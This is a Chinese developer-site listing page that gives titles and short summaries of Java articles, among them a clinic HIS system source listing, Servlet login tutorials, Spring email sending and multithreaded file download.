运维 监控 JavaScript
JAVA村卫生室、诊所云HIS系统源码 支持医保功能
运维运营分系统 1、系统运维:环境管理、应用管理、菜单管理、接口管理、任务管理、配置管理 2、综合监管:统计监管的医疗机构的综合信息,包括医疗业务量、人员配备量、支付分类占比等。 3、系统运营:机构管理、药品目录管理、用户管理、角色管理、字典管理、模板管理、消息管理、运营配置、售后服务、外部系统。
32 0
|
2月前
|
Java
【Java每日一题】— —第二十一题:编程把现实生活的手机事物映射成一个标准类Phone,并定义一个测试类PhoneDemo测试Phone类的功能
【Java每日一题】— —第二十一题:编程把现实生活的手机事物映射成一个标准类Phone,并定义一个测试类PhoneDemo测试Phone类的功能
38 0
|
2月前
|
安全 Java 数据库连接
【Java每日一题】——第四十四题:综合案例:编程模拟智能手机和普通手机功能。
【Java每日一题】——第四十四题:综合案例:编程模拟智能手机和普通手机功能。
79 0
|
10天前
|
存储 前端开发 搜索推荐
13:Session机制实现用户登录与注销功能-Java Web
13:Session机制实现用户登录与注销功能-Java Web
25 3
|
10天前
|
安全 前端开发 Java
10:基于Servlet模拟用户登录功能的实现与解析-Java Web
10:基于Servlet模拟用户登录功能的实现与解析-Java Web
24 3
|
10天前
|
存储 监控 Java
如何在Java中实现等待文件修改后再读取数据的功能?
如何在Java中实现等待文件修改后再读取数据的功能?
18 0
|
12天前
|
Java API 数据安全/隐私保护
【亮剑】如何在Java项目中结合Spring框架实现邮件发送功能
【4月更文挑战第30天】本文介绍了如何在Java项目中结合Spring框架实现邮件发送功能。首先,需在`pom.xml`添加Spring和JavaMail依赖。然后,在`applicationContext.xml`配置邮件发送器,包括SMTP服务器信息。接着,创建一个使用依赖注入的`EmailService`类,通过`JavaMailSender`发送邮件。最后,调用`EmailService`的`sendSimpleEmail`方法即可发送邮件。最佳实践包括:使用配置管理敏感信息,利用`MimeMessage`构造复杂邮件,异常处理和日志记录,以及在大量发送时考虑使用邮件队列。
|
12天前
|
分布式计算 DataWorks 监控
DataWorks操作报错合集之DataWorks在调用java sdk的createFile功能时报错com.aliyuncs.exceptions.ClientException: 1201111000 如何解决
DataWorks是阿里云提供的一站式大数据开发与治理平台,支持数据集成、数据开发、数据服务、数据质量管理、数据安全管理等全流程数据处理。在使用DataWorks过程中,可能会遇到各种操作报错。以下是一些常见的报错情况及其可能的原因和解决方法。
12 1
|
16天前
|
缓存 Java 测试技术
Java多线程实战-实现多线程文件下载,支持断点续传、日志记录等功能
Java多线程实战-实现多线程文件下载,支持断点续传、日志记录等功能